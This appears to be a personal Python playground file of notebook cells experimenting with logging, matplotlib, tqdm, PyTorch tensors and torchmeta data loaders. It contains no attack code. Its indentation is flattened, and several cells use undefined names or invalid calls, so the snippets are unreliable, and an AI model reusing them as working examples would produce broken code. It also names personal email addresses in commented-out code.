# start = time.time()
# print('pytorch playground!')
# # params_in_comp_graph()
# # check_if_tensor_is_detached()
# # deep_copy_issue()
# # download_mini_imagenet()
# # extract()
# # download_and_extract_miniImagenet(root='~/tmp')
# # download_and_extract_miniImagenet(root='~/automl-meta-learning/data')
# # torch_concat()
# # detach_vs_cloe()
# # error_unexpected_way_to_by_pass_safety()
# # clone_playground()
# # inplace_playground()
# # clone_vs_deepcopy()
# # copy_initial_weights_playground()
# tqdm_torchmeta()
# print('--> DONE')
# time_passed_msg, _, _, _ = report_times(start)
# print(f'--> {time_passed_msg}')
# %%
import sys
print(sys.version) ##
print(sys.path)
def helloworld():
print('helloworld')
print('hello12345')
def union_dicts():
d1 = {'x': 1}
d2 = {'y': 2, 'z': 3}
d_union = {**d1, **d2}
print(d_union)
def get_stdout_old():
import sys
# contents = ""
# #with open('some_file.txt') as f:
# #with open(sys.stdout,'r') as f:
# # sys.stdout.mode = 'r'
# for line in sys.stdout.readlines():
# contents += line
# print(contents)
# print(sys.stdout)
# with open(sys.stdout.buffer) as f:
# print(f.readline())
# import subprocess
# p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# stdout = []
# while True:
# line = p.stdout.readline()
# stdout.append(line)
# print( line )
# if line == '' and p.poll() != None:
# break
# print( ''.join(stdout) )
import sys
myfile = "input.txt"
def print(*args):
__builtins__.print(*args, file=sys.__stdout__)
with open(myfile, "a+") as f:
__builtins__.print(*args, file=f)
print('a')
print('b')
print('c')
repr(sys.stdout)
def get_stdout():
import sys
myfile = "my_stdout.txt"
# redefine print
def print(*args):
__builtins__.print(*args, file=sys.__stdout__) # prints to terminal
with open(myfile, "a+") as f:
__builtins__.print(*args, file=f) # saves in a file
print('a')
print('b')
print('c')
def logging_basic():
import logging
logging.warning('Watch out!') # will print a message to the console
logging.info('I told you so') # will not print anything
def logging_to_file():
import logging
logging.basicConfig(filename='example.log', level=logging.DEBUG)
# logging.
logging.debug('This message should go to the log file')
logging.info('So should this')
logging.warning('And this, too')
def logging_to_file_INFO_LEVEL():
import logging
import sys
format = '{asctime}:{levelname}:{name}:lineno {lineno}:{message}'
logging.basicConfig(filename='example.log', level=logging.INFO, format=format, style='{')
# logging.basicConfig(stream=sys.stdout,level=logging.INFO,format=format,style='{')
# logging.
logging.debug('This message should NOT go to the log file')
logging.info('This message should go to log file')
logging.warning('This, too')
def logger_SO_print_and_write_to_my_stdout():
"""My sample logger code to print to screen and write to file (the same thing).
Note: trying to replace this old answer of mine using a logger:
- https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
Credit:
- https://www.youtube.com/watch?v=jxmzY9soFXg&t=468s
- https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
- https://stackoverflow.com/questions/21494468/about-notset-in-python-logging/21494716#21494716
Other resources:
- https://docs.python-guide.org/writing/logging/
- https://docs.python.org/3/howto/logging.html#logging-basic-tutorial
- https://stackoverflow.com/questions/61084916/how-does-one-make-an-already-opened-file-readable-e-g-sys-stdout/61255375#61255375
"""
from pathlib import Path
import logging
import os
import sys
from datetime import datetime
## create directory (& its parents) if it does not exist otherwise do nothing :)
# get current time
current_time = datetime.now().strftime('%b%d_%H-%M-%S')
logs_dirpath = Path(f'~/logs/python_playground_logs_{current_time}/').expanduser()
logs_dirpath.mkdir(parents=True, exist_ok=True)
my_stdout_filename = logs_dirpath / Path('my_stdout.log')
# remove my_stdout if it exists (note you can also just create a new log dir/file each time or append to the end of the log file your using)
# os.remove(my_stdout_filename) if os.path.isfile(my_stdout_filename) else None
## create top logger
logger = logging.getLogger(
__name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
logger.setLevel(
logging.DEBUG) # note: use logging.DEBUG, CAREFUL with logging.UNSET: https://stackoverflow.com/questions/21494468/about-notset-in-python-logging/21494716#21494716
## log to my_stdout.log file
file_handler = logging.FileHandler(filename=my_stdout_filename)
# file_handler.setLevel(logging.INFO) # not setting it means it inherits the logger. It will log everything from DEBUG upwards in severity to this handler.
log_format = "{asctime}:{levelname}:{lineno}:{name}:{message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
formatter = logging.Formatter(fmt=log_format, style='{') # set the logging format at for this handler
file_handler.setFormatter(fmt=formatter)
## log to stdout/screen
stdout_stream_handler = logging.StreamHandler(
stream=sys.stdout) # default stderr, though not sure the advatages of logging to one or the other
# stdout_stream_handler.setLevel(logging.INFO) # Note: having different set levels means that we can route using a threshold what gets logged to this handler
log_format = "{name}:{levelname}:-> {message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
formatter = logging.Formatter(fmt=log_format, style='{') # set the logging format at for this handler
stdout_stream_handler.setFormatter(fmt=formatter)
logger.addHandler(hdlr=file_handler) # add this file handler to top logger
logger.addHandler(hdlr=stdout_stream_handler) # add this file handler to top logger
logger.log(logging.NOTSET, 'notset')
logger.debug('debug')
logger.info('info')
logger.warning('warning')
logger.error('error')
logger.critical('critical')
def logging_unset_level():
"""My sample logger explaining UNSET level
Resources:
- https://stackoverflow.com/questions/21494468/about-notset-in-python-logging
- https://www.youtube.com/watch?v=jxmzY9soFXg&t=468s
- https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
"""
import logging
logger = logging.getLogger(
__name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
print(f'DEFAULT VALUE: logger.level = {logger.level}')
file_handler = logging.FileHandler(filename='my_log.log')
log_format = "{asctime}:{levelname}:{lineno}:{name}:{message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
formatter = logging.Formatter(fmt=log_format, style='{')
file_handler.setFormatter(fmt=formatter)
stdout_stream_handler = logging.StreamHandler(stream=sys.stdout)
stdout_stream_handler.setLevel(logging.INFO)
log_format = "{name}:{levelname}:-> {message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
formatter = logging.Formatter(fmt=log_format, style='{')
stdout_stream_handler.setFormatter(fmt=formatter)
logger.addHandler(hdlr=file_handler)
logger.addHandler(hdlr=stdout_stream_handler)
logger.log(logging.NOTSET, 'notset')
logger.debug('debug')
logger.info('info')
logger.warning('warning')
logger.error('error')
logger.critical('critical')
def logger():
from pathlib import Path
import logging
# create directory (& its parents) if it does not exist otherwise do nothing :)
logs_dirpath = Path('~/automl-meta-learning/logs/python_playground_logs/').expanduser()
logs_dirpath.mkdir(parents=True, exist_ok=True)
my_stdout_filename = logs_dirpath / Path('my_stdout.log')
# remove my_stdout if it exists (used to have this but now I decided to create a new log & file each)
# os.remove(my_stdout_filename) if os.path.isfile(my_stdout_filename) else None
logger = logging.getLogger(
__name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
logger.setLevel(logging.INFO)
log_format = "{asctime}:{levelname}:{name}:{message}"
formatter = logging.Formatter(fmt=log_format, style='{')
file_handler = logging.FileHandler(filename=my_stdout_filename)
file_handler.setFormatter(fmt=formatter)
logger.addHandler(hdlr=file_handler)
logger.addHandler(hdlr=logging.StreamHandler())
for i in range(3):
logger.info(f'i = {i}')
logger.info(f'logger DONE')
def logging_example_from_youtube():
"""https://github.com/CoreyMSchafer/code_snippets/blob/master/Logging-Advanced/employee.py
"""
import logging
# import pytorch_playground # has employee class & code
import sys
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s:%(levelname)s:%(name)s:%(message)s')
file_handler = logging.FileHandler('sample.log')
file_handler.setLevel(logging.ERROR)
file_handler.setFormatter(formatter)
stream_handler = logging.StreamHandler()
stream_handler.setFormatter(formatter)
logger.addHandler(file_handler)
logger.addHandler(stream_handler)
logger.critical('not really critical :P')
def add(x, y):
"""Add Function"""
return x + y
def subtract(x, y):
"""Subtract Function"""
return x - y
def multiply(x, y):
"""Multiply Function"""
return x * y
def divide(x, y):
"""Divide Function"""
try:
result = x / y
except ZeroDivisionError:
logger.exception('Tried to divide by zero')
else:
return result
logger.info(
'testing if log info is going to print to screen. it should because everything with debug or above is printed since that stream has that level.')
num_1 = 10
num_2 = 0
add_result = add(num_1, num_2)
logger.debug('Add: {} + {} = {}'.format(num_1, num_2, add_result))
sub_result = subtract(num_1, num_2)
logger.debug('Sub: {} - {} = {}'.format(num_1, num_2, sub_result))
mul_result = multiply(num_1, num_2)
logger.debug('Mul: {} * {} = {}'.format(num_1, num_2, mul_result))
div_result = divide(num_1, num_2)
logger.debug('Div: {} / {} = {}'.format(num_1, num_2, div_result))
def plot():
"""
source:
- https://www.youtube.com/watch?v=UO98lJQ3QGI
- https://github.com/CoreyMSchafer/code_snippets/blob/master/Python/Matplotlib/01-Introduction/finished_code.py
"""
from matplotlib import pyplot as plt
plt.xkcd()
ages_x = [18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35,
36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55]
py_dev_y = [20046, 17100, 20000, 24744, 30500, 37732, 41247, 45372, 48876, 53850, 57287, 63016, 65998, 70003, 70000,
71496, 75370, 83640, 84666,
84392, 78254, 85000, 87038, 91991, 100000, 94796, 97962, 93302, 99240, 102736, 112285, 100771, 104708,
108423, 101407, 112542, 122870, 120000]
plt.plot(ages_x, py_dev_y, label='Python')
js_dev_y = [16446, 16791, 18942, 21780, 25704, 29000, 34372, 37810, 43515, 46823, 49293, 53437, 56373, 62375, 66674,
68745, 68746, 74583, 79000,
78508, 79996, 80403, 83820, 88833, 91660, 87892, 96243, 90000, 99313, 91660, 102264, 100000, 100000,
91660, 99240, 108000, 105000, 104000]
plt.plot(ages_x, js_dev_y, label='JavaScript')
dev_y = [17784, 16500, 18012, 20628, 25206, 30252, 34368, 38496, 42000, 46752, 49320, 53200, 56000, 62316, 64928,
67317, 68748, 73752, 77232,
78000, 78508, 79536, 82488, 88935, 90000, 90056, 95000, 90000, 91633, 91660, 98150, 98964, 100000, 98988,
100000, 108923, 105000, 103117]
plt.plot(ages_x, dev_y, color='#444444', linestyle='--', label='All Devs')
plt.xlabel('Ages')
plt.ylabel('Median Salary (USD)')
plt.title('Median Salary (USD) by Age')
plt.legend()
plt.tight_layout()
plt.savefig('plot.png')
plt.show()
def subplot():
"""https://github.com/CoreyMSchafer/code_snippets/blob/master/Python/Matplotlib/10-Subplots/finished_code.py
"""
import pandas as pd
from matplotlib import pyplot as plt
plt.style.use('seaborn')
data = read_csv('data.csv')
ages = data['Age']
dev_salaries = data['All_Devs']
py_salaries = data['Python']
js_salaries = data['JavaScript']
fig1, ax1 = plt.subplots()
fig2, ax2 = plt.subplots()
ax1.plot(ages, dev_salaries, color='#444444',
linestyle='--', label='All Devs')
ax2.plot(ages, py_salaries, label='Python')
ax2.plot(ages, js_salaries, label='JavaScript')
ax1.legend()
ax1.set_title('Median Salary (USD) by Age')
ax1.set_ylabel('Median Salary (USD)')
ax2.legend()
ax2.set_xlabel('Ages')
ax2.set_ylabel('Median Salary (USD)')
plt.tight_layout()
plt.show()
fig1.savefig('fig1.png')
fig2.savefig('fig2.png')
#
# def import_utils_test():
# import uutils
# # import uutils.utils as utils
# # from uutils.utils import logger
#
# print(uutils)
# print(utils)
# print(logger)
#
# print()
def sys_path():
"""
python -c "import sys; print(sys.path)”
python -c "import sys; [print(p) for p in sys.path]"
"""
import sys
def path():
import sys
[print(p) for p in sys.path]
for path in sys.path:
print(path)
def pycharm_playground():
import tqdm
print('running pycharm playground...')
b = 0
print(b)
print('Intermediate print line')
print(b)
print(b)
print('Done!')
if __name__ == '__main__':
# union_dicts()
# get_stdout()
# logger()
# logger_SO_print_and_write_to_my_stdout()
# logging_basic()
# logging_to_file()
# logging_to_file()
# logging_to_file_INFO_LEVEL()
# logging_example_from_youtube()
# logging_unset_level()
# import_utils_test()
pycharm_playground()
print('\n---> DONE\a\n\n') ## HIii
# %%
import sys
print(sys.version)
# %%
## dictionary comprehension looping
d = {'a': 0, 'b': 1}
lst1 = [f'key:{k}' for k in d]
lst2 = [f'key:{k}, value:{v}' for k, v in d.items()]
print(lst1)
print(lst2)
# %%
## merging two dictionaries
d1 = {'a': 0, 'b': 1}
d2 = {'c': 2, 'd': 3}
d3 = {'e': 4, 'f': 5, 'g': 6}
d = {**d1, **d2, **d3}
print(d)
# %%
from collections import OrderedDict
od = OrderedDict([
('first', 1)
])
print(od)
od['first'] = 2
print(od)
lst = sum([i for i in range(3)])
print(lst)
od3 = OrderedDict([(i, i) for i in range(3)])
print(od3)
print(3 + float('Inf'))
# %%
# import pathlib
# from pathlib import Path
#
#
# def make_dirpath_current_datetime_hostname(path=None, comment='', replace_dots=True):
# '''
# make dir string: runs/CURRENT_DATETIME_HOSTNAME
# '''
# import socket
# import os
# from datetime import datetime
# # check if root is a PosixPath object
# if type(path) != pathlib.PosixPath and path is not None:
# path = Path(path)
# current_time = datetime.now().strftime('%b%d_%H-%M-%S')
# log_dir = os.path.join('runs', current_time + '_' + socket.gethostname() + comment)
# log_dir = Path(log_dir)
# print(log_dir._str)
# if replace_dots:
# log_dir = Path(log_dir._str.replace('.', '_'))
# if path is not None:
# log_dir = path / log_dir
# return log_dir
#
#
# print(type(Path('~')) == pathlib.PosixPath)
# print()
#
# log_dir = make_dirpath_current_datetime_hostname()
# print(log_dir)
# log_dir = make_dirpath_current_datetime_hostname('~')
# print(log_dir)
# log_dir = make_dirpath_current_datetime_hostname('~', '_jupyter')
# print(log_dir)
# log_dir = make_dirpath_current_datetime_hostname('~').expanduser()
# print(log_dir)
#
# string = "geeks for geeks geeks geeks geeks"
# # Prints the string by replacing geeks by Geeks
# print(string.replace("geeks", "Geeks"))
#
# log_dir = make_dirpath_current_datetime_hostname('~', '_jupyter', True)
# print(log_dir)
# %%
# adding keys to empty dic
d = {}
d['a'] = 3
print(d)
# %%
# unpack list?
(a, b, c) = [1, 2, 3]
print(a)
# %%
## kwargs
def f(*args, **kwargs):
print(args)
print(kwargs)
f()
f(1, 2, 3, a=1, b=2, c=3)
# %%
#
# import json
#
# from pathlib import Path
#
# p = Path('~/').expanduser()
# with open(p) as f:
# data = json.load(f)
# print(data)
# print(data['password'])
# %%
import subprocess
from subprocess import Popen, PIPE, STDOUT
cmd = 'ls /etc/fstab /etc/non-existent-file'
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output = p.stdout.read()
print(output)
# %%
import sys
print('a')
print(sys.stdout)
# %%
# from pathlib import Path
#
#
# def send_email(subject, message, destination, password_path=None):
# """ Send an e-mail from with message to destination email.
#
# NOTE: if you get an error with google gmails you might need to do this:
# https://stackoverflow.com/questions/16512592/login-credentials-not-working-with-gmail-smtp
# To use an app password:
# https://stackoverflow.com/questions/60975490/how-does-one-send-an-e-mail-from-python-not-using-gmail
#
# Arguments:
# message {str} -- message string to send.
# destination {str} -- destination email (as string)
# """
# from socket import gethostname
# from email.message import EmailMessage
# import smtplib
# import json
# import sys
#
# server = smtplib.SMTP('smtp.gmail.com', 587)
# smtplib.stdout = sys.stdout
# server.starttls()
# with open(password_path) as f:
# config = json.load(f)
# server.login('slurm.miranda@gmail.com', config['password'])
#
# # craft message
# msg = EmailMessage()
#
# # message = f'{message}\nSend from Hostname: {gethostname()}'
# # msg.set_content(message)
# msg['Subject'] = subject
# msg['From'] = 'slurm.miranda@gmail.com'
# msg['To'] = destination
# # send msg
# server.send_message(msg)
#
#
# ##
# print("-------> HELLOWWWWWWWW")
# p = Path('~/automl-meta-learning/automl/experiments/pw_app.config.json').expanduser()
# send_email(subject='TEST: send_email2', message='MESSAGE', destination='brando.science@gmail.com', password_path=p)
# %%
"""
Demo of the errorbar function, including upper and lower limits
"""
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
mpl.rcParams["errorbar.capsize"] = 3
# https://stackoverflow.com/questions/61415955/why-dont-the-error-limits-in-my-plots-show-in-matplotlib
# example data
x = np.arange(0.5, 5.5, 0.5)
y = np.exp(-x)
xerr = 0.1
yerr = 0.2
ls = 'dotted'
fig = plt.figure()
ax = fig.add_subplot(1, 1, 1)
# standard error bars
plt.errorbar(x, y, xerr=xerr, yerr=yerr, ls=ls, color='blue')
# including upper limits
uplims = np.zeros(x.shape)
uplims[[1, 5, 9]] = True
plt.errorbar(x, y + 0.5, xerr=xerr, yerr=yerr, uplims=uplims, ls=ls,
color='green')
# including lower limits
lolims = np.zeros(x.shape)
lolims[[2, 4, 8]] = True
plt.errorbar(x, y + 1.0, xerr=xerr, yerr=yerr, lolims=lolims, ls=ls,
color='red')
# including upper and lower limits
plt.errorbar(x, y + 1.5, marker='o', ms=8, xerr=xerr, yerr=yerr,
lolims=lolims, uplims=uplims, ls=ls, color='magenta')
# including xlower and xupper limits
xerr = 0.2
yerr = np.zeros(x.shape) + 0.2
yerr[[3, 6]] = 0.3
xlolims = lolims
xuplims = uplims
lolims = np.zeros(x.shape)
uplims = np.zeros(x.shape)
lolims[[6]] = True
uplims[[3]] = True
plt.errorbar(x, y + 2.1, marker='o', ms=8, xerr=xerr, yerr=yerr,
xlolims=xlolims, xuplims=xuplims, uplims=uplims, lolims=lolims,
ls='none', mec='blue', capsize=0, color='cyan')
ax.set_xlim((0, 5.5))
ax.set_title('Errorbar upper and lower limits')
plt.show()
# %%
from types import SimpleNamespace
from pathlib import Path
from pprint import pprint
args = SimpleNamespace()
args.data_root = "~/automl-meta-learning/data/miniImagenet"
args.data_root = Path(args.data_root).expanduser()
print(args)
# pprint(dir(args.data_root))
print(args.data_root.name)
print('miniImagenet' in args.data_root.name)
# %%
## sampling N classes for len(meta-set)
# In sampling without replacement, each sample unit of
# the population has only one chance to be selected in the sample.
# because you are NOT replacing what you removed.
import random
N = 5
len_meta_set = 64
sample = random.sample(range(0, len_meta_set), N)
print(sample)
for i, n in enumerate(sample):
print(f'i={i}\nn={n}\n')
# %%
# iterator https://www.programiz.com/python-programming/iterator
class Counter:
def __init__(self, max=0):
self.max = max # returns up to and including that number
def __iter__(self):
self.n = 0
return self
def __next__(self):
if self.n <= self.max:
current_count = self.n
self.n += 1
print(f'current_count = {current_count}')
print(f'self.n = {self.n}')
print(self.n is current_count)
return current_count
else:
raise StopIteration
## test it
counter = iter(Counter(max=0))
for count in counter:
print(f'count = {count}')
# %%
from tqdm import tqdm
print(tqdm)
lst = range(3)
print(type(lst))
with tqdm(iter(lst), total=5) as tlist:
print(f'tlist = {type(tlist)}')
for i in tlist:
print(i)
# %%
from tqdm import tqdm
class Plus2:
def __init__(self, max=0):
self.max = max # returns up to and including that number
def __iter__(self):
self.it = 0
self.tot = 0
return self
def __next__(self):
if self.it <= self.max:
self.it += 1
self.tot += 2
return self.tot
else:
raise StopIteration
def __len__(self):
return self.max
##
counter = iter(Plus2(max=int(100000)))
with tqdm(counter, total=len(counter)) as tqcounter:
for idx, pow2 in enumerate(tqcounter):
print()
print(f'idx = {idx}')
print(f'powd2 = {pow2}')
pass
# %%
from tqdm import tqdm
for i in tqdm(range(int(9e6))):
pass
# %%
from tqdm import tqdm
import time
with tqdm(range(int(5))) as trange:
for i in trange:
print(f'\ni = {i}')
print('done\n')
time.sleep(1)
pass
# %%
# zip, it aligns elements in one list to elements in the other
l1 = [0, 1, 2]
l2 = ['a', 'b', 'c']
print(list(zip(l1, l2)))
# %%
from tqdm import tqdm
import time
lst = range(10000000)
total = 2
with tqdm(lst, total=total) as tlst:
i = 0
for _, element in enumerate(tlst):
print(f'\n->i = {i}\n')
time.sleep(0.2)
i += 1
if i >= total:
break
print('\n--> DONE \a')
# %%
from tqdm import tqdm
import time
lst = range(10000000)
total = 2
with tqdm(lst, total=total) as tlst:
for idx, element in enumerate(tlst):
print(f'\n->idx = {idx}\n')
time.sleep(0.2)
if idx >= total:
break
print('\n--> DONE \a')
# %%
from tqdm import tqdm
import time
lst = range(10000000)
total = 2
with tqdm(range(total)) as tcounter:
lst = iter(lst)
for idx, element in enumerate(tcounter):
print(f'\n->idx = {idx}\n')
time.sleep(0.2)
print('\n--> DONE \a')
# %%
# Question: Do detached() tensors track their own gradients seperately?
# Ans: Yes!
# https://discuss.pytorch.org/t/why-is-the-clone-operation-part-of-the-computation-graph-is-it-even-differentiable/67054/11
import torch
a = torch.tensor([2.0], requires_grad=True)
b = a.detach()
b.requires_grad = True
la = (5.0 - a) ** 2
la.backward()
print(f'a.grad = {a.grad}')
lb = (6.0 - b) ** 2
lb.backward()
print(f'b.grad = {b.grad}')
# %%
import torch
import torch.nn as nn
from collections import OrderedDict
params = OrderedDict([
('fc0', nn.Linear(in_features=4, out_features=4)),
('ReLU0', nn.ReLU()),
('fc1', nn.Linear(in_features=4, out_features=1))
])
mdl = nn.Sequential(params)
print(params)
print(mdl._parameters)
print(params == params)
print(mdl._parameters == params)
print(mdl._modules)
print()
for name, w in mdl.named_parameters():
print(name, w.norm(2))
print()
# mdl._modules['fc0'] = nn.Linear(10,11)
mdl._modules[0]
for name, w in mdl.named_parameters():
print(name, w.norm(2))
# %%
## Q: are parameters are in computation graph?
# import torch
# import torch.nn as nn
# # from torchviz import make_dot
#
# from collections import OrderedDict
#
# fc0 = nn.Linear(in_features=3, out_features=1)
# params = [('fc0', fc0)]
# mdl = nn.Sequential(OrderedDict(params))
#
# x = torch.randn(1, 3)
# y = torch.randn(1)
#
# l = (mdl(x) - y) ** 2
#
# # make_dot(l,{x:'x',y:'y','fc0':fc0})
# print(fc0.weight)
# print(fc0.bias)
# print(fc0.weight.to_tens)
# print()
# # make_dot(l,{x:'x',y:'y','fc0':fc0})
# make_dot(l, {'x': x, 'y': y})
# make_dot(l)
# %%
'''
expand
'''
import torch
x = torch.randn([2, 3, 4, 5])
# h_0 of shape (num_layers * num_directions, batch, hidden_size)
h = torch.randn([1, 4, 8])
x_mean = x.mean()
print(x_mean.size())
print(x_mean)
x = x_mean.expand_as(h)
print(x.size())
print(x)
# %%
import torch
use_cuda = torch.cuda.is_available()
device = torch.device("cuda" if use_cuda else "cpu")
print(device)
type(device)
print(device == 'cpu')
device.type
# %%
# THIS WORKS
from torch.utils.tensorboard import SummaryWriter
from pathlib import Path
# log_dir (string) – Save directory location.
# Default is runs/CURRENT_DATETIME_HOSTNAME, which changes after each run.
tb = SummaryWriter()
tb.add_scalar('loss', 111)
# %%
from torch.utils.tensorboard import SummaryWriter
from pathlib import Path
def CURRENT_DATETIME_HOSTNAME(comment=''):
# if not log_dir:
import socket
import os
from datetime import datetime
current_time = datetime.now().strftime('%b%d_%H-%M-%S')
log_dir = os.path.join('runs', current_time + '_' + socket.gethostname() + comment)
return Path(log_dir)
# log_dir (string) – Save directory location.
# Default is runs/CURRENT_DATETIME_HOSTNAME, which changes after each run.
# tensorboard --logdir=runs
log_dir = (Path('//') / CURRENT_DATETIME_HOSTNAME()).expanduser()
print(log_dir)
tb = SummaryWriter(log_dir=log_dir)
tb.add_scalar('loss', 15)
# %%
# download mini-imagenet automatically
# from torchvision.utils import download_and_extract_archive
import torchvision.utils as utils
print(utils)
# print(download_and_extract_archive)
# %%
# torch concat, https://pytorch.org/docs/stable/torch.html#torch.cat
# Concatenates the given sequence of seq tensors in the given dimension.
# All tensors must either have the same shape (except in the concatenating dimension) or be empty.
import torch
g1 = torch.randn(3, 2)
g2 = torch.randn(4, 2)
g3 = torch.randn(4, 2, 3)
grads = [g1, g2]
print(g1.view(-1).size())
print(g2.view(-1).size())
print(g3.view(-1).size())
# print(g3.view(-1))
grads = torch.cat(grads, dim=0)
print(grads)
print(grads.size())
print(grads.mean())
print(grads.std())
# torch stack, https://pytorch.org/docs/stable/torch.html#torch.stack
# Concatenates sequence of tensors along a new dimension.
# All tensors need to be of the same size.
# torch.stack([g1,g2], dim=0)
# %%
import torch
a = torch.tensor([1, 2, 3.], requires_grad=True)
a_detached = a.detach()
print(a_detached.is_leaf)
a_detached_sum = a.sum()
print(c.is_leaf)
d = c.detach()
print(d.is_leaf)
# %%
import torch
from types import SimpleNamespace
from pathlib import Path
from pprint import pprint
x = torch.empty([1, 2, 3])
print(x.size())
args = SimpleNamespace()
args.data_root = "~/automl-meta-learning/data/miniImagenet"
# n1313361300001299.jpg
args.data_root = Path(args.data_root).expanduser()
# %%
import torch
CHW = 3, 12, 12
x = torch.randn(CHW)
y = torch.randn(CHW)
new = [x, y]
new = torch.stack(new)
print(x.size())
print(new.size())
# %%
print('a');
print('b')
# %%
# conver list to tensor
import torch
x = torch.tensor([1, 2, 3.])
print(x)
# %%
from torchvision.transforms import Compose, Resize, ToTensor
import torchmeta
from torchmeta.datasets.helpers import miniimagenet
from pathlib import Path
from types import SimpleNamespace
from tqdm import tqdm
## get args
args = SimpleNamespace(episodes=5, n_classes=5, k_shot=5, k_eval=15, meta_batch_size=1, n_workers=4)
args.data_root = Path("~/automl-meta-learning/data/miniImagenet").expanduser()
## get meta-batch loader
train_transform = Compose([Resize(84), ToTensor()])
dataset = miniimagenet(
args.data_root,
ways=args.n_classes,
shots=args.k_shot,
test_shots=args.k_eval,
meta_split='train',
download=False)
dataloader = torchmeta.utils.data.BatchMetaDataLoader(
dataset,
batch_size=args.meta_batch_size,
num_workers=args.n_workers)
with tqdm(dataset):
print(f'len(dataloader)= {len(dataloader)}')
for episode, batch in enumerate(dataloader):
print(f'episode = {episode}')
train_inputs, train_labels = batch["train"]
print(f'train_labels[0] = {train_labels[0]}')
print(f'train_inputs.size() = {train_inputs.size()}')
pass
if episode >= args.episodes:
break
# %%
# zip tensors
import torch
x = torch.tensor([1., 2., 3.])
y = torch.tensor([1, 2, 3])
print(list(zip(x, y)))
xx = torch.randn(2, 3, 84, 84)
yy = torch.randn(2, 3, 32, 32)
print(len(list(zip(xx, yy))))
# %%
x = 2
print(x)
# %%
## sinusioid function
print('Starting Sinusioid cell')
from torchmeta.toy import Sinusoid
from torchmeta.utils.data import BatchMetaDataLoader
from torchmeta.transforms import ClassSplitter
# from tqdm import tqdm
batch_size = 16
shots = 5
test_shots = 15
# dataset = torchmeta.toy.helpers.sinusoid(shots=shots, test_shots=tes_shots)
metaset_dataset = Sinusoid(num_samples_per_task=shots + test_shots, num_tasks=100, noise_std=None)
splitter_metset_dataset = ClassSplitter(
metaset_dataset,
num_train_per_class=shots,
num_test_per_class=test_shots,
shuffle=True)
dataloader = BatchMetaDataLoader(splitter_metset_dataset, batch_size=batch_size, num_workers=4)
print(f'batch_size = {batch_size}')
print(f'len(dataset) = {len(metaset_dataset)}')
print(f'len(dataloader) = {len(dataloader)}\n')
for batch_idx, batch in enumerate(dataloader):
print(f'batch_idx = {batch_idx}')
train_inputs, train_targets = batch['train']
test_inputs, test_targets = batch['test']
print(f'train_inputs.shape = {train_inputs.shape}')
print(f'train_targets.shape = {train_targets.shape}')
print(f'test_inputs.shape = {test_inputs.shape}')
print(f'test_targets.shape = {test_targets.shape}')
if batch_idx >= 1: # halt after 2 iterations
break
print('DONE\a')
# %%
## notes of torchmeta
from pathlib import Path
import torchmeta
# meta-set: creates collection of data-sets, D_meta = {D_1, ... Dn}
print('\n-- Sinusoid(MetaDataset)')
metaset_sinusoid = torchmeta.toy.Sinusoid(num_samples_per_task=10, num_tasks=1_000_000, noise_std=None)
print(f'type(metaset_sinusoid) = {type(metaset_sinusoid)}')
print(f'len(metaset_sinusoid) = {len(metaset_sinusoid)}')
print(f'metaset_sinusoid = {metaset_sinusoid}')
# this is still a data set but helps implement forming D_i
# i.e. the N-way, K-shot tasks/datasets we need.
print('\n-- MiniImagenet(CombinationMetaDataset)')
data_path = Path('/').expanduser()
metaset_miniimagenet = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_train=True,
download=True)
print(f'type(metaset_miniimagenet) = {type(metaset_miniimagenet)}')
print(f'len(metaset_miniimagenet) = {len(metaset_miniimagenet)}')
print(f'metaset_miniimagenet = {metaset_miniimagenet}')
# Splits the data-sets inside the meta-set into support/train & query/test sets
dataset = metaset_miniimagenet
dataset = torchmeta.transforms.ClassSplitter(dataset, num_train_per_class=1, num_test_per_class=15, shuffle=True)
print(dataset)
# %%
import torch
import torch.nn as nn
import numpy as np
x = np.random.uniform()
x = torch.rand()
print(x)
l = nn.Linear(1, 1)
y = l(x)
print(y)
# %%
# saving tensors for my data set
import torch
import torch.nn as nn
from collections import OrderedDict
from pathlib import Path
# N x's of size D=1 in an interval
Din, Dout = 3, 2
num_samples = 5
lb, ub = -1, 1
X = (ub - lb) * torch.rand([num_samples, Din]) + lb # rand gives uniform in [0,1) range
# N y's of size D=1 (from output of NN)
f = nn.Sequential(OrderedDict([
('f1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
# fill cnn with Gaussian
mu1, std1 = 5, 7.5
f.f1.weight.data.normal_(mu1, std1)
f.f1.bias.data.normal_(mu1, std1)
# get outputs
Y = f(X)
print(Y)
# save tensors and cnn
# https://stackoverflow.com/questions/1466000/difference-between-modes-a-a-w-w-and-r-in-built-in-open-function
db = {
'X': X,
'Y': Y
}
path = Path(f'~/data/tmp/SinData_mu1{mu1}_std1{std1}/').expanduser()
path.mkdir(parents=True, exist_ok=True)
with open(path / 'db', 'w') as file: # create file and truncate to length 0, only writing allowed
torch.save(db, file)
# %%
# saving data in numpy
import numpy as np
import pickle
from pathlib import Path
path = Path('~/data/tmp/').expanduser()
path.mkdir(parents=True, exist_ok=True)
lb, ub = -1, 1
num_samples = 5
x = np.random.uniform(low=lb, high=ub, size=(1, num_samples))
y = x ** 2 + x + 2
# using save (to npy), savez (to npz)
np.save(path / 'x', x)
np.save(path / 'y', y)
np.savez(path / 'db', x=x, y=y)
with open(path / 'db.pkl', 'wb') as db_file:
pickle.dump(obj={'x': x, 'y': y}, file=db_file)
## using loading npy, npz files
